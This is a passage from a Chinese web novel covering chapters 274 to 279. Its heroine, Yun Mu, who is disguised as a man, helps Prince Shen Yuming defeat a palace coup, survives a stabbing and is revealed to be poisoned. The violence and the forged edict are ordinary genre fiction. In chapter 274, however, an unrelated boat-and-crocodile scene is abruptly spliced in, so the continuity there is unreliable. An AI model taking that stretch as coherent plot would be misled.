沈聿明推开她的脸,稍稍和她分了些距离,但又舍不得将人放开,他道:“什么都没有,你闻错了。” 云暮笑嘻嘻地在他脸上抹了一把,蹭下一些白色的粉末,笑道:“王爷何时有了擦香粉的爱好?” 街道两侧零零散散的人已被驱走,不过就算有人云暮也无惧。大权在握,无需再看旁人的脸色。 卢靖一路上的幻想在这一刻被打破,他一点一点往后退,后背撞上砚石,他自嘲一笑,这一次,他不逃了。 况且,他所做的这些,也无非是想引起云暮的注意罢了。 云暮点了点不远处的卢靖,低声同沈聿明说了几句,沈聿明眼中的厌恶怎么都藏不住,还有些吃味。 “你千里迢迢去润州,就是为了他。” 云暮好笑地捶了他一拳,“我究竟为的谁,你当真不知?一会儿随我去接个人,再把人带进宫。” “长宁?你怎么在京城?” 沈聿明分明记得梁今越被禁足那日,长宁求了一道圣旨,自请南下,如今怎么也不该出现在京城。 长宁朝沈聿明行了一礼,“皇妹如何来的,皇兄问云大人便知。” 梁今越背靠崔家,长宁早就知梁今越还有出来的可能,在江南隐姓埋名过了几个月。那日她去镇上采买东西,发现多了几个眼生的男人,她连夜收拾东西走了。 在路上听闻云暮去了润州,她随着商队一道往西北的方向而去。然一个去润州,一个去北域,只能在半道分离。 她衣着朴素,已经尽量伪装成流民,但有人观她孤身一人,又是女子,便心生歹意。幸而得云暮相救。云暮入京时,将人留在了外头,又派几人护着。 但眼下重要的不是此事,云暮站在轿旁,道:“公主,请吧。” 再举梁今越一次,这是云暮救她时所说的条件。 这一次,梁今越难逃此劫。 卢靖往前两步,却被沈聿明的侍卫拦在原地,“云暮,你当初答应我的,还作数吗?” 云暮笑道:“自然。” 只是这一次,卢靖还能不能活着出来,她可就说不准了。 第二百七十四章 遇刺 云暮思虑之下,还是决定随沈聿明一道进宫。 只是进宫之路多舛。 一行人还未到承德门,就已经遇上了两波前来杀他们的人。 云暮一剑刺中刺客的胸膛,抬脚一踹,人从剑上飞了出去,落到地上时,嘴里呕出一口血,再也没了气息。 眼看快到宫门落钥的时间,云暮对沈聿明说道:“这里交给我,你先带人进宫,我随后追上。” 此处有刺客追杀,焉知前路无刺客,就算把人都带走,沈聿明也不敢托大,“我把人都带走了,你怎么办?” 刺客一波接着一波,崔浩这个老狐狸终于露出马脚了,云暮又兴奋又担忧。 卢靖和长宁都是皆无武艺在身,自保都做不到,更遑论帮忙,云暮带着人一点一点往京城的方向挪,但终究还是落了下风。 沈聿明将手伸向袖中,只要他点燃这支烟花,不出一刻钟就会有人前来支援。 云暮按住他的手,“不可,再坚持片刻。” 不可这么早就暴露自己的后手。 千钧一发之际,一声怒吼自远处传来,“何人胆敢行刺当朝王爷?” 云暮双目一亮。 冯章他们终于来了。 冯章带来的人不少,这些刺客却也没有撤离,反倒是同冯章他们纠缠在一起。 直至钟楼声响,宫门落钥,刺客当即四下撤离。 杀了卢靖和长宁确实是他们的首要任务,但做不到,只需拖到宫门落钥即可。 冯章领着人作势追了一会儿,很快又折返回云暮身边,“大人,您终于回来了。” 云暮伸出拳头,与几人相碰:“我已无官职在身,还是莫要叫我大人了,免得被人落了口舌。” 冯章替沈聿明办过几次差,夺位一事对方板上钉钉,云暮官复原职是迟早的事。而且他喊了这么多年的大人,已经想改口也难。 他岔开话题,“大人和王爷欲往何处,属下护送你们。” 云暮摇头道:“晚了,明日一早再递折子进宫。”最后一句话是对沈聿明说的。 云暮身下的船未动,又有水声传来,她借着夜明珠的光隐隐能看到有什么东西浮出水面,又没入水中。 那两个守卫的手里还举着火把看得比云暮更清楚,他们不敢淌水过去,又怕鼍上岸咬人,于是指着漂浮在水面上的尸体道:“那儿有个现成的,别来吃我们。” 云暮趁乱又把船划到最外边,观察着这两人的一举一动,又摸出了几颗从辛百草那儿顺来的小石子。 她心想,要是有弹弓在就好了。 方才探头的那个人又被他们的话引来,看到鼍的身影后,他顿时又缩了回去,不再露头“人是你们杀的,自求多福吧。” 云暮算好角度,拿起船桨,把石子往上一抛,对着贴墙而的二人拍了过去。 力道重,速度也快,石子正中其中一人的眉心,剩下的一个猛然把人一推,用声音来盖住内心的惊慌:“是谁?谁在装神弄鬼?”鼍吃人肉,与他们一墙之隔的人即便听到动静也不会冒死过来,哪怕同伴此刻正在呼救。 那人从旁边的尸体上摸出那颗夜明珠,“你们过来救我,我就把夜明珠给你们。” 他平日里扯谎惯了,此刻竟无一人信他,“你拿夜明珠塞那大鼍嘴里找生路吧。” 他如今在的角度云暮打不着,她低声道:“往前,让船身出去一半。” 砚石没动:“大人,还是等他过来吧,被发现就不好了。” 奚落声再次响起,云暮信誓旦旦道:“他们不会过来,把他打了之后,我们直接上岸,找到大壮的尸体。” 砚石无法,只能慢慢将船往外推,那人还在扒着石壁,想淌过去却不敢。 咚的一声,云暮再次打出石子,那人错愕地捂着后脑勺,缓缓倒下,手中的夜明珠骨碌碌地滚下,最后被卡在了一个缝隙。 云暮握紧有些开裂的船桨,一左一右飞速划着,在离岸边只有三步之遥时,她看到了水面上浮着一具尸体。 两个守卫的都还在岸上,那具应该就是钱大壮的,他的附近水波微动。 云暮把怀中的石子都掏了出来,一股脑地砸了下去,高高举起船桨对鼍的头狠狠一敲。 鼍吃痛,粗壮的尾巴在水中拍打,小船摇晃,云暮双手撑住船的两侧,尽力稳住。 待平稳后,云暮拿着船桨把人往船边带,砚石威慑似地拿着船桨在水面拍打,见鼍不敢再冒头后,他才和云暮一道把钱大壮搬到船上。 泡在水里的时间还不久,但皮肤已经发皱,前不久那双还叭叭个不停的嘴此刻苍白无血色。 来不及难过,云暮先把船划到了岸边,他们才上岸,身后的船就被鼍尾掀翻。云暮抓起火把往鼍身上砸。 淬了火油的火把哪能这么容易熄灭,鼍的皮虽厚,但不是不怕疼,它只能再次潜到水中。 云暮这才蹲下身去看钱大壮,她不死心地把双指搭在钱大壮的颈侧,没有感受到脉搏跳动。 砚石水中的火折子从他脸上往下,最后停在了胸口处。 黑衣已然破了个洞,露出里面红色的里衣,可露出的袖子分明是白色的。 那是,血。 云暮深吸了一口气,把一死一昏的守卫拖到钱大壮身边,并排躺着。 云暮扒下那个没死透的人的衣服,又塞入他的口中,再用腰带狠狠勒住,让他半点声音都泄不出。 把人弄醒后,云暮让砚石当着他的面把他的同伙丢入水中,“先划几个口子,它们喜欢血腥味。” 带着血腥味的尸体才下水,方才吃了瘪的鼍就跟疯了一样撕咬翻滚,不过片刻就只剩下几片破碎的布料在水面漂浮。 守卫惊恐地摇头,嘴巴被堵住的他一句求饶的话都说不出口。 云暮指着钱大壮道:“这个人是你杀的?” 守卫迟疑地点了点头,又挪动了两下,露出腰间的腰牌。 云暮低头扫了一眼,勾着唇问他:“大理寺的人,想要本将军看在程大人的面子上放你一马?” 第二百七十五 宫变 “小心!” 云暮抓起刀鞘砸向一支朝沈聿明飞来的羽箭。 宵禁之时,刺客都敢来王府行刺,可见是有人开始有动作了。 云暮抬头看了一眼,从石桌借力越上房顶,解决掉上头的两个刺客后,她朝着皇宫望去。 火把取代了灯笼,宫室亮如白昼,云暮才扭头就看见两名刺客朝她攻来,她一剑劈了一个,抬腿将剩下的一个踹回地上。 “明熹,皇宫。” 沈聿明顿时了然,他不知从何处拿出一支穿云令,“嘭”的一声,穿云令在空中炸出了一朵花。 “父皇那边有危险,你带着他们将这儿的人解决了,我先行率人去皇宫。” “走不了了。” 云暮握紧了长剑,沉声道。 只见又有刺客自远处而来,与前一批不同的事,这一次,他们手中多了弩箭。 弩箭看着不大,但速度极快,一箭能轻易穿透人的脑袋。云暮曾在缙州见过这种样式的弩箭,王楚用其来对付胡人。 她此前从未听说过京城的军队有这种弩箭。云暮将沈聿明拉到一根红柱后,“金吾卫想来就快要到了,但观他们的架势,想来也不会轻易放弃。” “我带人挡住,你趁机带着金吾卫的禁卫军赶去京城……” 沈聿明的心不知怎地却定了下来,他安抚云暮:“无事,你别忘了父皇的书房里的秘密,没有传国玉玺盖的诏书,他梁今越坐上那个位置就名不正言不顺,朝中谁认?” 云暮担心的可不是梁文帝的安危。 “陈如海是他们的人,随着皇上从密道里出过宫,他应会将此事告知,可见密道也不是什么安全之所。” 比起梁文帝的命更重要的,是那块传国玉玺,不知吕梁能否将玉玺带出。 “再跑下去也是无用,父皇,你不如还是将玉玺给儿臣,儿臣定让你当一个舒舒服服的太上皇。” 梁文帝的腿上放着一个用明皇色帕子包的盒子,带着轮子的木椅在密道如履平地,但终是累赘,吕梁则恨不能将梁文帝扛在腿上就跑。 梁文帝闻言,催促吕梁,“快走。” 人已经追上了,吕梁推车的力道更大了,但还是比不过只带着兵器的士兵。 他不由问道:“皇上,这该如何是好?” 梁文帝回头看了一眼,道:“再快些。” 这个密道的尽头直通从前的云府,他记得云暮的卧房里布了机关,云暮搬走的那日,并未拆除,只要出了密道,城中肯定会有人寻他,梁今越的奸计不会得逞。 梁今越留人不住,他顿足抬手,身后的士兵将弓箭放进他手中,又奉上一支羽箭,铁制的箭头对准了吕梁的脑袋。 “父皇,儿臣好生好气同你商量,你却非要闹到这一步,当真是不听话。” 声音才密道里回荡,异常刺耳。 梁文帝不答,而是转动着椅子的两侧,速度又快上了不少。 吕梁被他这突如其来的一下带得往前踉跄了几步,箭穿过他盘在头顶的头发,落在了前面的地上。吕梁停下脚步,“皇上,奴才拦住这些乱臣贼子,您先走。” 方才那几下已经用了他全部的力气,梁文帝此刻到了强弩之末,他叫过吕梁,“你带着这个东西出去,交给秦王,切记,不要让它落入旁人之手。” 吕梁将手放在椅背,用力往前一推,轮椅骨碌碌向前,“皇上,您在前头等着奴才。” 只要他拿了玉玺,梁今越便会反咬一口,以他偷盗玉玺的罪名将他捉拿。如此一来,秦王便也得了一个得位不正的帽子。 吕梁从袖中掏出一把药粉,将其抖向梁今越及其他手下的兵,又扔出一个火折子。 粉末碰到火,在空中噼啪炸开,一股呛鼻的味道扑面而来。 “你给我们用了什么?” 这药只能挡住一时,后边的人不受影响,还会继续追上他们,吕梁推着轮椅在密道中小跑。 石门打开之时,他抱起梁文帝朝前走去,脚下一顿,又若无其事地继续迈上台阶。 “王爷,皇上无碍。” 沈聿明才带着人赶到,又亲自从吕梁手中接过梁文帝,也看清了吕梁胸前的深色痕迹。 “你中箭了。” 吕梁捂着胸口缓缓倒下,“皇上,奴才幸不辱命,只是往后奴才不能再继续伺候您了,皇上,您多保重身子。” 梁文帝心中感动万千,他指尖轻轻动了两下,“你放心,朕会好好封赏你的家人。” 吕梁手指插在土里,勉强朝梁文帝磕了一个头,身后插着的箭也随之摆动。 “奴才谢皇上恩典,只是奴才家中并无亲人了,还请皇上开恩,在奴才身死后,将奴才葬在……” 咳出的血落在地上,又被他抓起土掩住。 梁文帝最终还是打开了锦盒。 上头正上演着主仆情深,下头却是兵刃相接。 士兵且战且进,梁今越却是且战且退,今夜让人跑了,他绝对不能再露面,也只有如此,他才能将所有的事都推到王洋身上。 可他却想不到,此刻的勤政殿已经被人团团围住,就等着他折返了。 云暮换了一身盔甲,肃然地站在勤政殿里。许久未来此处,哪怕殿中的布局都与从前相同,她还是觉得陌生极了。 右手边的人一直频频转目,面色复杂地盯着她,在她转头之时,又收了回去。 云暮淡淡道:“郑大将军有话不妨直说。” 郑鹤桉话到嘴边却又不知该如何开口。从前恨云暮抢了他中郎将,后来云暮走后,他在崔相的举荐之下,理所应当地接替了大将军一职。 起初的欣喜之后,他很快便又重回平静。直到那日在崔府,他参与了那些人意图不轨的谋算。 他本该扭头就走,直到他看见那个愤然离去的御史的死状,此后同崔相和大皇子的交往都成了敷衍。 崔相这个老狐狸旁敲侧击地敲打了他一番,他终日惶惶。大皇子得偿所愿那日,就是他身亡之时。 所以在秦王找上门时,他终于还是答应了对方的请求。 第二百七十六章 伪造圣旨 宫外又是一支穿云令,云暮计算着时间,抽出腰间的剑,往后撤了几步,拉开了她和郑鹤桉之间的距离。 他提供的消息太少,且不是什么太有用的消息,云暮信不过他。 只是云暮左等右等都等不到该出现的梁今越,她将石门打开,指了一队人下去一探究竟。 而那一队人竟也没有回来。 云暮看向郑鹤桉,“他们可曾同你说过今夜的行动?” 郑鹤桉摇头,“不曾。” 从前是他怕暴露,不敢多说,后来崔相也察觉到了不对,再也没同他说过那些事。 至于为何没有除掉他,约莫是想留个后手吧。云暮叫来冯章,低声吩咐:“你带几个人去丞相府传话,就说大皇子意图谋反,兵败被囚,皇上宣他入宫面圣。” 冯章两手空空,颇有些为难,“大人,没有圣旨,崔相怕是不肯来。” 伪造圣旨于云暮而言不是什么难事。只见她在桌上捣鼓了一会儿。不多时,一道圣旨就出现在了冯章面前。 郑鹤桉知道云暮向来胆大,但从未想过他连圣旨都敢伪造。 “拿这个去,他应该认不出来。” 她又嘱咐道;“多带几个人,他若是发现不对,想要对你动手,便立刻折回皇宫。” “是。” 一个一个都蜷缩着,她可不得逼他们一把。梁今越不肯出,她也不知道下头是何情况,那就以崔相为饵,看他敢不敢咬。 王洋带着人往宫里跑,欲从后宫逃出宫外。宫妃们一早得了消息,心下无主,都带着贴身的宫女太监去了贵妃的寝宫。 灯笼掉的掉,灭的灭,昏黑的宫室,无一人在意。 “娘娘,这可如何是好?皇上他……” 美人待在一处,合该异常养眼,然此刻这些宫妃的面上除了惊惧,还是惊惧。她们的家族将人送进宫,希望她们替家族整个好前程,可从未对她们说过还会遇到这些糟心事。 贵妃将匕首掷在地上,冷声道:“该如何做还要本宫教你们不成?叛贼倘若真的闯了进来,你们就捡起地上的匕首往脖抹去。” “至于皇上,他眼下估计已经自顾不暇,哪里还想得起我们这些人?” “你们听,他们是不是来了?” 甲胄声似乎穿过宫墙落入这些女子的耳中,宫妃们忙捡起地上的匕首,双手紧紧握着,没抢到的你看看我,我看看你,而后从头上拔下一根簪子。 然深夜前来,所配之饰有限,贵妃扬了梳妆台上的首饰盒,众人一哄而上,但面上没有因自己抢到一支精美的银簪而沾沾自喜。 中郎将奉云暮之命前来捉拿乱贼,他头一次进后宫,只能拿着图纸照着云暮规划的路线前行。 正愁着不知该如何走时,他眼尖地发现一个黑影从不远处的假山一闪而过。 “在那,去追。” “伪造圣旨,你们好大的胆子,来人,给本相拿下他们。” 崔浩冷笑着将伪造的圣旨砸在地上,“谁派你们来的,云暮,还是郑鹤桉?” 云暮忽然带回两个早就该死之人,卢靖和长宁公主。按照他们先前的计划,在胡人攻下润州之时,卢靖在那天晚上就会成为一个死人。 然而就在胡人动手前夕,粮草被烧,卢靖亦不知所踪,以致他们和胡人的交易差点失败。 从得到胡人的消息以来,他便派人四处打听卢靖的下落,但都一无所获。 再到后来,他们在各州府安插的探子被人一一拔除,一切都偏离了他们事先预设的方向。 又有人道云暮的身边多了一个生面孔,他拿出卢靖的画像,果不其然,正是此人。 计划泄露,胡人与他们反目,他的那个好外甥被关了些时日,出来后就跟变了个人似的。 听不下劝,急于求成。 事到如今,他谋划了这么久,已经无法再退,硬着头皮也得做。 冯章捡起圣旨,怒喝:“大胆,圣旨乃皇上亲笔所书,见圣旨如见圣上,崔相不仅不拜,还如此对待圣旨,实乃大不敬!来人,将丞相‘请’进宫里。” 他身后的侍卫迈出一步,就被崔浩的人逼了回去。 冯章强装镇定,“丞相大人这是何意?” 崔浩冷笑道:“你既说是皇上亲笔所书,为何却派了你来,传旨太监呢?” 冯章回道:“太监?如今吕公公生死不明,其余的太监在大皇子的关照下,死的死,伤的伤,否则也轮不到下官来传旨。”幸而方才沈聿明有往宫里递消息。 崔浩将信将疑,他也不过是在诈冯章的话,但他一向以不变应万变,即便是信了几分,他也绝不会轻举妄动。 他捂着心口缓缓倒下,又猛地咳了几声,“你进宫替本相回几句话,就说本相身体不适,皇上如今体弱,容本相明日再进宫和皇上请罪。” 冯章将手放在腰间,“丞相大人这是想抗旨不成?” 一个小厮模样的人忽而从门外进来,在崔浩耳边低语了几句。 冯章将手背在身后,手指往门口的方向摆了摆。几人趁府中的护院不备,越上了围墙。 崔浩指着他们道:“这几人伪造假传圣旨,把他们拿下。” 冯章对着崔浩身后的屋顶唤了一声:“大人,您来了!” 趁人抬首之时,他带着人几个跃步离开了丞相府。 “大人,属下把事办砸了。” 云暮早就做好了失败的打算,她将假圣旨扔进火盆,“无事,他与皇上曾经情同手足,能认出这是假圣旨亦是正常。” “等不了了,你们随着我下去,还有你。”云暮看向了郑鹤桉。 “庞统领,这里就交给你了。” 庞统领道:“二位只管放心去,若情况不对,速速上来。” 郑鹤桉苦笑了一声,带着人走在了前头。 一盏茶的时间过去,密道里并无任何打斗的痕迹,也没有听到半点动静。越是如此,云暮的心越是不安。 前方是一个转弯,云暮拿出一个火折子,从郑鹤桉的头顶丢了过去,火折子缩所照之处,映出了一个人影。 第二百七十七章 撕下你的真面目 “朕待你不薄,你竟为了这个位置,带兵闯入宫中。” 梁今越被侍卫押跪在殿中,面前是他的父皇,身侧是他的手足,还有怒其轻举妄动的舅舅…… 梁今越抬眸直视他的好父皇,欲往前膝行两步,却被压着动弹不得。 梁文帝摆摆手,侍卫这才松了手。 “父皇确实待儿臣不薄,将母后禁了足,任由那些妾室掌管后宫,舅舅他们对您忠心耿耿,你却要灭了世家。” “儿臣自小被立为太子,究竟是您所谓的对儿臣好,还是在惧怕崔家?” “还有他!前朝亡于宦官之手,您竟还要给一个太监这么大的权利,就因为您对他心存妄念!” “勤政殿下的这条密道,通向的居然是曾经的云府,想来是云暮在金吾卫里做了多久的中郎将和大将军,你们两个就暗度陈仓了多少年吧?” “父皇,你们真叫我恶心。” 这些话在梁今越心中憋了许久,今天终于能一吐为快。 梁文帝见其还不知悔改,气得吹胡子瞪眼,一句话都说不出来。 平白被人冤枉,还对象还是梁文帝,云暮比梁今越更觉恶心。 沈聿明不待她的示意,便自觉地端着茶杯上前,“父皇,皇兄气昏了头,说了胡话,您消消火气,莫同他计较。” 云暮眼神示意,沈聿明便端着一杯热茶上前喂给梁文帝,“父皇,您消消火气。” 他转而看向梁今越,“皇兄,你豢养私兵,私铸兵器,父皇也只是夺了你的太子之位,将你圈禁在宗人府。” “丞相不过替你求了几次情,父皇又心软放了你出来,结果你与胡人勾结,置大梁于险境,你就是这般回报父皇的恩泽?” 梁今越与胡人勾结一事,沈聿明事先并未告知梁文帝,在场之人除去他和云暮,也只有崔相知晓。 此话一出,所有人皆看向梁今越,本以为是胡人多年不死心,却不想背后还有梁今越的参与。 “你说什么?” 梁文帝近来只觉得耳朵里有杂声,还当他又听错了话。 沈聿明道:“父皇,先前在落霞山,有一伙人趁乱逃了出去,那便是卢靖和十余个私兵,他们一路往西北而去,投靠胡人。云暮便是在东胡的营帐里将卢靖抓回。” 云暮在梁文帝身边待了这么多年,即使是一个背影,梁文帝还是能将人认出。自打他踏进勤政殿时起,就发现了最末尾的云暮。 对于云暮,确实如梁今越所说的那般,对他图谋不轨。然密道一事,梁今越到底如何知晓?这么多人在前,他到底不好问话。 “做了这等大逆不道之事,还不思悔改,丞相,你觉得朕该如何罚他?” 崔浩递给梁今越一个安抚的眼神,而后才道:“皇上,论起大逆不道之事,昨夜臣倒是也遇到了一桩。” 梁文帝不满他转移话题,但又不得不追究,“何事?” “昨夜金吾卫的一个叫冯章的参军去臣的府上宣旨,说是皇上您要召臣进宫议事。 京城宵禁无人不知,宫门也落了钥,臣自然是不信他的话,况且圣旨上的字迹虽与皇上您的有几分相似,君臣多年,臣岂会认不出皇上您的字,便推拒没来。” “敢问皇上,昨夜可曾下了圣旨召臣入宫?” 梁文帝只觉得冯章这个名字耳熟,但又想不起此人是谁。 崔浩提醒道:“此人曾是云暮的手下,云暮日日在皇上您的身边伺候,将您的字迹学了去也不是什么难事。” 梁文帝看向最靠门的云暮,对于云暮,他心中格外复杂。他因忌惮沈聿明同云暮的势力,又多年求而不得,想要的药方也到了手。 人没了可利用的地方,他就想想当年那样,狡兔死,走狗烹。 但他的身体还是每日愈下,吕梁焦急万分,去入云居求药,可谁知对方不计前嫌,竟真的给了吕梁药方。 “可有此事?” 没提名字,但所有人都知此话问的是云暮。 云暮站在梁今越身旁,道:“丞相既暗指草民伪造圣旨,那伪造的圣旨何在?拿出来给皇上瞧上一眼,不就明了了?” 梁文帝也看向崔浩。 崔浩冷笑了一声,“昨夜你的人将圣旨又带回来给你,你不知?” 云暮嘴角的笑意漾得越发深,“丞相大人这话就说岔了,草民如今不过一介布衣,何德何能让金吾卫的参军做我的的手下。” “大人既说到他将圣旨带回,那可有外人看见?” 崔浩又道:“当夜在前院的下人都看到了。” 云暮“哦”了一声,“那就是除去崔家之人,就再无旁人见得。” “皇上,丞相是崔家的柱子,他说的话下人哪有不从。昨夜草民得了秦王的委托,一直守在勤政殿,却没有见过丞相口中的圣旨。” “草民如今无官职在身,昨夜守在勤政殿的除了金吾卫还有禁卫军……” 云暮掰着手指头数着,涉及之人不少,作假的可能少的可怜。那些人都是沈聿明的人,见没见到不过时他一句话的事,崔浩当即和云暮辩驳起来。 两人你一言我一语,整个勤政殿只剩下他们的声音。 梁文帝许久没有听到这么大的动静,耳朵被吵得一阵一阵疼,他伸手拂落茶杯。 “够了,崔相,朕只问你一句,昨夜的圣旨上可印了章?” “印了。” “一派胡言!昨夜玉玺一直被朕带在身边,这时间还有第二块玉玺不成?” “这个逆子,你的亲外甥,他昨夜追着朕到宫外,为的就是朕手上的玉玺。你们在背后谋划了这么多,他没告诉你?” 云暮垂着脑袋,和跪在地上的梁今越对上视线。下一瞬,她冲他挑衅一笑,无声说了几个字。 “是我做的。” 梁今越突然暴起,箍住云暮的脖子,逐渐收紧。 “父皇,你识人不清,今日儿臣便自作主张替你除了这个祸害!” 他的另一只手则伸向云暮的衣领,恶狠狠道:“还要撕下你的真面目。” 第二百七十八章 解毒 一直没有反应的云暮突然握住梁今越的手腕,她的手才搭上,一柄长剑贯穿了梁今越。 云暮的视线越过梁今越的肩头,和他身后的沈聿明对上了视线。 梁今越忽然上前两步,贴住了云暮,接着又是一声剑贯穿皮肉的声音。 “云暮!” “宣太医!” 云暮这一次受伤,足足养了两个月。 这两个月里发生了许多事,梁文帝身死,死前他还下诏书赐死了梁今越。 而后便是沈聿明作为新帝登基,大赦天下。 沈聿明登基那日,一道官复原职的圣旨就到了入云居。只是云暮以病重缠身为由,推辞不就。 今日,入云居还多了两个意想不到之人,辛百草和吕梁。 一个本该在西南,一个本该中箭死去,如今都安然无恙地出现在她面前。 “师父?!你何时回来的?” “还有你,沈聿明怎么说你救不过来了?我还去了你的衣冠冢前给你倒了酒烧了纸。” 吕梁朝他讨好一笑。 辛百草没好气地揉乱她的头发,“为师再不来,你打算瞒我到什么时候?若是让你大师兄知道,你准没有好果子吃。” 只一个辛百草都能念叨到她头疼,再多一个婆婆妈妈的季川,她还要不要活了?但云暮还是嘴硬道:“徒儿不知师父所说的是何事。” “还有,你们何时认识的,我怎么不知?” 辛百草拿过吕梁手中食盒,拿出一碗还冒着热气的药,“喝了。” 云暮乖巧地端过,轻抿了一口,温度正好,她屏气一口灌下后才问:“师父,这是什么?” “毒药,你喝完后不觉得肠子已经绞在了一处,腹痛难耐吗?” 云暮当即哎哟了两声,捂着肚子倒在了地上,还顺势滚了两下,“哎哟,师父,肚子好疼啊,我是不是要死了?” 吕梁慌忙跑上前扶起云暮,求助地看着辛百草,“神医,云将军没事吧?这药当真有用?” 辛百草扫了云暮一眼,“演戏呢,莫管她。”接着开始在布袋里掏东西,边掏边道:“再不起来……” 云暮撑着吕梁顺势站起,“师父,徒儿同你说笑呢。” 说罢,她突然捂住嘴,红中带黑的血顺着她的指缝漏出,一滴一滴打在面前的鹅卵石铺就的小道上。 “将军!” “大人!” “神医,这不是解药吗?为何大人喝了却吐了血?” 辛百草心下一紧,嘴上说着无事,却还是马上蹲下身子给云暮把脉。 “这是怎么了?” 沈聿明进门就看到几人围着云暮蹲在一处,又往前走了几步,他忽然加快步伐,站在砚石让出的位置上。 “怎么吐血了?” 沈聿明顾不得这么多,当下就要抱起云暮回院子。 辛百草打着哈哈,“都散了都散了,对了,记得把这儿清理干净。” 沈聿明用湿帕子替云暮擦了脸,这才问道:“这到底怎么了?”他还当云暮说的那句重病缠身是玩笑话。 云暮玩笑道:“听到你要我官复原职的圣旨,高兴傻了,一时激动就吐了血。” 沈聿明攥紧帕子,最后还是忍不住道:“血都是黑的,你当我看不出来吗?” 他又扣住云暮的手腕,不信邪似的再次给她号脉,却还是什么都诊不出来。 “你到底怎么了?” “她不说,那我来说。”辛百草作势敲了两下门就推门而入。 “师父。”云暮轻轻摇了摇头。 “她自小吃毒药,体质与旁人不同,在宫里那几年,身体也被折腾坏了,受了寒总要养上一段时日,但宫里那些趋炎附势的小人怎么会让她好好养着?” 滴水成冰的冬日,她得把手放进结了一层厚冰的水缸里浆洗衣物,奔走在各宫送东西……就算是铁打的身子都遭不住这么折腾。 他在江南养得结结实实的孩子,到了京城这个地方,一年比一年消瘦,裁的衣服一年比一年小。 这些云暮自然是不会同他们说,但他每年总会偷偷来几次京城,只需给点银钱,就能打听到不少消息。 他的手伸不进宫里,起初他不想暴露身份,便给了太监银钱和药材,让他们转交给云暮,但估计也到不了云暮的手。 后来,他在那几个太监告假出宫时,雇人教训他们一顿。 再后来,他将云暮乃他辛百草的徒弟一事道出,原想着能让她的日子好过一些,但没想到竟让她遭了那些人的耻笑。 药王谷的传人为了金钱权势不惜入宫当太监,外头开始传她云暮成了药王谷的弃徒。 于是他扯下了人皮面具,现身京城。师徒俩没有任何信件往来,却能默契地猜到对方的心思。 宫里宫外一同使计,那贪生怕死的梁文帝为了让他开个延年益寿的方子,也为了内心那个肮脏不能见人的心思,还是将云暮调到了身边。 …… 沈聿明在勤政殿喃喃道:“朕只知她从前过得苦,竟不知她受了这么多罪。” 最初认回身份时,沈聿明就和宫里的太监宫女打听过云暮的消息,但他们只敷衍地回了几句,不敢多说,像是得了谁封口的命令。 吕梁也是在宫里摸爬滚打起来的,知道云暮的许多事,他解释道:“先帝和将军都下了死命令,不许宫里的人谈及当年之事。从前有个太监喝大了,言辞间对将军不敬,当夜草席一裹,人就出现在了乱葬岗。” 也是从此事后,再也无人敢提及云暮之事,只敢在心里暗啐几句。 若是辛百草不说,他也不知云暮为了这副身体,竟以赤焰虫那等凶残之物入药,所以他和辛百草做了一个局。 忠心耿耿,以命相搏,为的就是梁文帝手中那所剩不多的药。那药于梁文帝而言,并无用处,就连滋养身子都做不到。 幸而他们赌对了。梁文帝死到临头终于发了善心,命人将药给他送来。 沈聿明猛一拍桌,“朕要把宫中那些上好的药材都赐给她。”他一定要把云暮的身子养好。 “未央宫布置得如何了?” 第二百七十九章 企图回江南 “你进宫怎地不提前说一声,我也没个准备。” 年轻的帝王微喘着气从外回来,一旁的榻上坐着一个还裹着斗篷的云暮。 又道:“蠢东西,也不知道上个火盆。” 云暮将锦帕递给他:“一回来就这么大的火气,谁给你气受了?” 沈聿明弯下腰,把头往云暮身边凑,“你帮我擦。” 云暮用帕子轻轻抽向他的侧脸,“你方才去哪了?” 才下朝没多久她就来了,但勤政殿内空无一人,问了在门口候着的太监,他们支支吾吾不敢说,只道会派人去寻皇上,让她在此处稍后片刻。 沈聿明惆怅地叹了口气,“去了一趟后宫。” 后宫里都是梁文帝的妃子,他去做什么? “这宫里什么事都要朕决断,就连父皇那些妃子吵架都要朕去调和,真想将她们全都迁去皇陵,免得日日来烦朕。” 云暮看向吕梁,吕梁对其点点了头。 “太后管不动她们?” 听闻兵变那夜,太后手握匕首守在正殿,只要叛军闯入,她便带着那些躲在她宫里的妃子们一同随先帝而去。 更何况她还有一个在东南带兵的将军父亲,怎么会压不住这群人? “未央宫那位把后宫搅个鸡犬不宁,太后这几日又病了,她们只好找到朕面前来了。” 云暮作势给他擦了擦额角的汗,心疼道:“你这皇上当得真是辛苦,来,喝口茶歇歇。” …… 云暮看着站在马车旁的吕梁,问道:“方才皇上到底去了何处?” 吕梁笑道:“不敢欺瞒大人,皇上当真是去了后宫。” 若是旁人窥探帝踪,此刻早就被投入大狱了,但如今问话的是云暮,吕梁并未有任何隐瞒。 云暮却是不信,“如今连你都要瞒着我?” 吕梁轻轻打了自己的嘴,“奴才不敢欺瞒大人,皇上确实是去了后宫,只是并非去调和太后和太妃们的矛盾,而是去了未央宫。” 未央宫?那不是皇后的寝宫?他去那儿做什么? “大人。”吕梁为难地看向马车前的砚石。 云暮扫了他一眼,让砚石退避三舍,“说吧,到底是怎么一回事。” …… 云暮才回到入云居,就指使砚石收拾细软,“快些,最好明日就离开京城。” 砚石也随之紧张,他不由发问:“大人,可是皇上他……” 云暮面色有些难看,“是,所以京城不能留了,我们得快些回江南。对了,师父呢?” 砚石心里憋着一股气,真替云暮感到不值。千里迢迢赶去润州,就为了捉拿叛贼卢靖,又为了他手中的那份名单,不惜以身饲贼,结果却落得个仓皇逃离京城的下场。 云暮不知他心中的小九九,转头出门就去寻了辛百草。宫内对此毫无察觉的沈聿明正美滋滋欣赏着他的杰作,未央宫。 “她怎么说的?” 他故意安排吕梁去送云暮,便是知晓云暮会盘查他的行踪,正好借此来试探一下云暮对他的想法。 吕梁也捉摸不透云暮的想法,只能推测道:“奴才也说不好,但奴才说完之后,云大人告好似有些惊讶,而后便让奴才回来伺候您了。” 沈聿明挑眉,“惊讶?朕看她是高兴傻了,都忘了有反应了。” 他又笃定道:“她心里有朕。” 不是他胡乱揣测,云暮对他亦是有情意。如今摆在他们面前的无非是两条路,一是安排云暮假死脱身,再换回女儿身。二是他直接在朝堂上宣布封云暮为后。 反正那几个老头子日日上朝都要劝他封后纳妃,此事不仅能让他抱得美人归,还能堵住那些人的嘴。 这人家小两口的事,吕梁也不好多说,只笑不语。 但沈聿明到底还是不放心,他叫来文竹,“你将此物送去入云居给云大人,正好看看她在忙些什么?” 文竹接过一封信,二话不说就往宫外而去。不多时,有攥着一封信回来。 “皇上,属下去时,入云居的下人都在忙着整理东西,云大人让属下将信交给您。” 